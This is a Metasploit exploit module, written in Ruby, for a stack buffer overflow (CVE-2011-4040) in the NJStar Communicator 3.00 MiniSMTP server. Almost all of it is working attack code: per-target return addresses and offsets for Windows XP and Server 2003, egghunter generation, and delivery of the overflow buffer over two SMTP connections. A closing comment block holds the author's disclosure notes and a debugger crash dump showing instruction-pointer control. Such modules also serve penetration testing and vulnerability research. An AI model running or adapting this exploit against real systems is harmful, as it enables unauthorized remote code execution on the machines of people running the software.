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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Egghunter
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'NJStar Communicator 3.00 MiniSMTP Buffer Overflow',
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      'Description'    => %q{
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        This module exploits a stack buffer overflow vulnerability in NJStar Communicator
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        Version 3.00 MiniSMTP server.  The MiniSMTP application can be seen in multiple
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        NJStar products, and will continue to run in the background even if the
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        software is already shutdown.  According to the vendor's testimonials,
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        NJStar software is also used by well known companies such as Siemens, NEC,
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        Google, Yahoo, eBay; government agencies such as the FBI, Department of
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        Justice (HK); as well as a long list of universities such as Yale, Harvard,
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        University of Tokyo, etc.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Dillon Beresford', # Original discovery and MSF Module.
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        ],
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      'References'     =>
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        [
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          [ 'OSVDB', '76728' ],
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          [ 'CVE', '2011-4040' ],
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          [ 'URL', 'http://www.njstar.com/cms/njstar-communicator' ],
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          [ 'EDB', '18057' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread',
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        },
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      'Platform'       => 'win',
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      'Payload'        =>
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        {
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          'BadChars' => "\x00",
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          'StackAdjustment' => -1500,
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        },
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      'Targets'        =>
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        [
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          [
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            'Windows XP SP2/SP3',
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            {
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              'Ret'    => 0x77c35459, # PUSH ESP; RETN (MSVCRT.dll)
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              'Offset' => 247,
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            }
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          ],
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          [
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            # Can't test patch level on this one, because you can't
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            # even update Win2k3 SP0 anymore from Windows Update
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            'Windows Server 2003 SP0',
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            {
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              'Ret'    => 0x77d20738, # JMP ESP (USER32.dll)
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              'Offset' => 247,
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            }
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          ],
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          [
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            'Windows Server 2003 SP1/SP2',
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            {
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              'Ret'    => 0x77BE2265, # PUSH ESP; RETN (MSVCRT.dll)
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              'Offset' => 247,
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            }
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          ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-10-31',
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      'DefaultTarget'  => 0))
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    register_options([Opt::RPORT(25)])
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  end
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  def check
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    connect
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    # We get a response like: "220 [host-name] Service Ready"
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    # But we don't really care about this one
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    res = sock.get_once(-1, 5)
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    vprint_status("Banner: #{res.to_s.chop}")
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    sock.puts("HELP\r\n")
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    # But the HELP response will tell us if this is a NJStar SMTP or not
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    res = sock.get_once(-1, 5)
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    vprint_status("HELP Response: #{res.to_s.chop}")
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    disconnect
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    # I can only flag it as "Detected" because it doesn't return a version
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    if res =~ /Windows E-mail Server From NJStar Software/i
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      return Exploit::CheckCode::Detected
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    eggoptions =
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    {
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      :checksum => true,
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      :eggtag => "w00t"
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    }
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    hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
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    buffer = rand_text(target['Offset'])
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    buffer << [target.ret].pack('V')
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    buffer << hunter
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    buffer << make_nops(4)
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    # Just some debugging output so we can see lengths and byte size of each of our buffer.
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    vprint_status("egg: %u bytes: \n" % egg.length + Rex::Text.to_hex_dump(egg))
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    vprint_status("hunter: %u bytes: \n" % hunter.length + Rex::Text.to_hex_dump(hunter))
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    vprint_status("buffer: %u bytes:\n" % buffer.length + Rex::Text.to_hex_dump(buffer))
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    print_status("Trying target #{target.name}...")
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    # har har har you get trick no treat...
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    # we dont have very much space so we
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    # send our egg in a seperate connection
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    connect
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    print_status("Sending the egg...")
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    sock.put(egg)
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    # I think you betta call, ghostbusters...
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    # now we send our evil buffer along with the
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    # egg hunter, we are doing multiple connections
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    # to solve the issue with limited stack space.
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    # thanks to bannedit for advice on threads and
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    # making multiple connections to get around
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    # stack space constraints. :)
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    connect
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    print_status("Sending our buffer containing the egg hunter...")
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    sock.put(buffer)
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    handler
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    disconnect
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  end
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end
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=begin
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Dillon Beresford
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https://twitter.com/#!/D1N
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NJStar Communicator
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Version: 3.00 and prior
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Build: 11818 and prior
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Tested minismtp version:
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1.30.0.60218
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Shouts to bannedit, sinn3r, rick2600, tmanning, corelanc0d3r, jcran,
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manils, d0tslash, mublix, halsten, and everyone at AHA!
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No response as of 10/31/11 from AUSCERT or the software vendor. CNCERT and USCERT responded
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on 10/30/11 and 10/31/11, CNCERT said in an email they needed to see if the vulnerability
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is remotely exploitable and needed more verification. I sent a proof of concept exploit
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in python with remote code execution. So, here is the proof that the bug is, in fact,
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remotely exploitable. WIN!
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System DLLs are used for target.ret because minismtp.exe is the only NJStar component in
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memory, and its base starts with a 0x00, that's no good.  However, if your target machine
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started minismtp from the Windows start menu (Start -> All Programs -> NJStar Communicator
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-> NJStar MiniSmtp), it'd actually load up more DLLs. And one of them -- MSVCR100.dll -- is
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ideal enough to use (No rebase, starts with a high address, but there is an ASLR flag).
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eax=00000000 ebx=00417bf8 ecx=00002745 edx=00000000 esi=008a3e50
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edi=008a3d80
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eip=42424242 esp=00ccff70 ebp=7c8097d0 iopl=0          nv up ei pl nz na pe nc
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cs=001b	 ss=0023  ds=0023  es=0023	fs=003b	 gs=0000
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efl=00010206
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42424242 ??     ???
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0:003> !exchain
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image00400000+bbc4 (0040bbc4)
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00ccff00: 41414141
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Invalid exception stack at 41414141
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0:003> d esp
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00ccff70  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
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00ccff80  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
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00ccff90  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
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00ccffa0  44 44 44 44 00 ff cc 00-c4 bb 40 00 20 23 41 00  DDDD......@. #A.
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00ccffb0  00 00 00 00 ec ff cc 00-29 b7 80 7c b8 3d 8a 00  ........)..|.=..
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00ccffc0  00 00 00 00 00 00 00 00-b8 3d 8a 00 00 c0 fd 7f  .........=......
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00ccffd0  00 d6 e3 89 c0 ff cc 00-98 08 99 89 ff ff ff ff  ................
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00ccffe0  d8 9a 83 7c 30 b7 80 7c-00 00 00 00 00 00 00 00  ...|0..|........
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=end
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